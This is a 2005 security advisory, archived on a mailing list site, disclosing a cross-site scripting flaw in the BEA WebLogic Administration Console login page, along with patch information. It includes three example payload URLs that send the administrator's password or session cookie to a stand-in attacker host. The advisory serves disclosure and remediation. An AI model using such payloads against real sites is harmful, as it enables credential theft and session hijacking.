lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri May 27 19:26:12 2005
From: shatter at appsecinc.com (Team SHATTER)
Subject: [AppSecInc Advisory BEA05-V0101] BEA WebLogic
 Administration Console login page cross-site scripting vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
BEA WebLogic Administration Console login page cross-site scripting
vulnerability

AppSecInc Team SHATTER Security Advisory BEA05-V0101
http://www.appsecinc.com/resources/alerts/general/BEA-002.html
May 27, 2005

Affected versions: BEA WebLogic Server 7.0 and 8.1

Risk level: High

Credits: This vulnerability was discovered and researched by Agust?n
Mart?nez Fay? of Argeniss for Application Security Inc.

Background:
The Administration Console is a web browser-based, graphical user
interface used to manage a WebLogic Server domain. The Administration
Console supports a full range of product administrative tasks. A
cross-site scripting vulnerability exists in the login page of the
Console.

Details:
Cross-site scripting vulnerabilities occur when an attacker tricks a
legitimate web application into sending malicious code, generally in
the form of a script, to an unsuspecting end user. The attack usually
involves crafting a hyperlink with malicious script code embedded
within it. A valid user is likely to click this link since it points
to a resource on a trusted domain. The link can be posted on a web
page, or sent in an instant message, or email. Clicking on the link
executes the attacker-injected code in the context of the trusted web
application. Typically, the code steals session cookies, which can
then be used to impersonate a valid user.

The "j_username" and "j_password" parameters in the login page of the
Administration Console are vulnerable to cross-site scripting attacks.
User supplied input to these parameters is returned without proper
sanitization, allowing a malicious attacker to inject arbitrary
scripting code.

Below are some examples of the hyperlinks an attacker could use.

Steal administrator's password:
http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.all.j_password.value)"
Get the session cookie :
http://vulnerablesite:7001/console/login/LoginForm.jsp?j_username=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)"
or
http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)"

Impact:
Attackers can steal administrator's session cookies and password,
thereby allowing the attacker to impersonate the valid user.


Workaround:
There is no workaround for this issue.

Vendor Status:
Vendor was contacted and a patch was released.

Fix:
For BEA WebLogic Server and WebLogic Express 8.1 upgrade to Service
Pack 4. Apply the patch on top of it located at
ftp://ftpna.bea.com/pub/releases/security/CR202495_810sp4.jar on top
of the service packs.
For BEA WebLogic Server and WebLogic Express 7.0 upgrade to Service
Pack 6. Apply the patch located at
ftp://ftpna.bea.com/pub/releases/security/CR214457_700sp6.jar on top
of the service packs.

Links:
Application Security, Inc advisory:
http://www.appsecinc.com/resources/alerts/general/BEA-002.html
BEA Advisory: http://dev2dev.bea.com/pub/advisory/130

- --
_____________________________________________
Application Security, Inc.
www.appsecinc.com
AppSecInc is the leading provider of database security solutions for
the enterprise. AppSecInc products proactively secure enterprise
applications at more than 300 organizations around the world by
discovering, assessing, and protecting the database against rapidly
changing security threats. By securing data at its source, we enable
organizations to more confidently extend their business with
customers, partners and suppliers. Our security experts, combined with
our strong support team, deliver up-to-date application safeguards
that minimize risk and eliminate its impact on business.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (MingW32)
 
iD8DBQFCl2Y6/0w1dSVRt4URAhQwAKC+9c6nxvg2cpofISbUXrVhxe8OoACfRrUG
aicgogs0F29Arn6TJLA5gyg=
=KXCI
-----END PGP SIGNATURE-----

Powered by blists - more mailing lists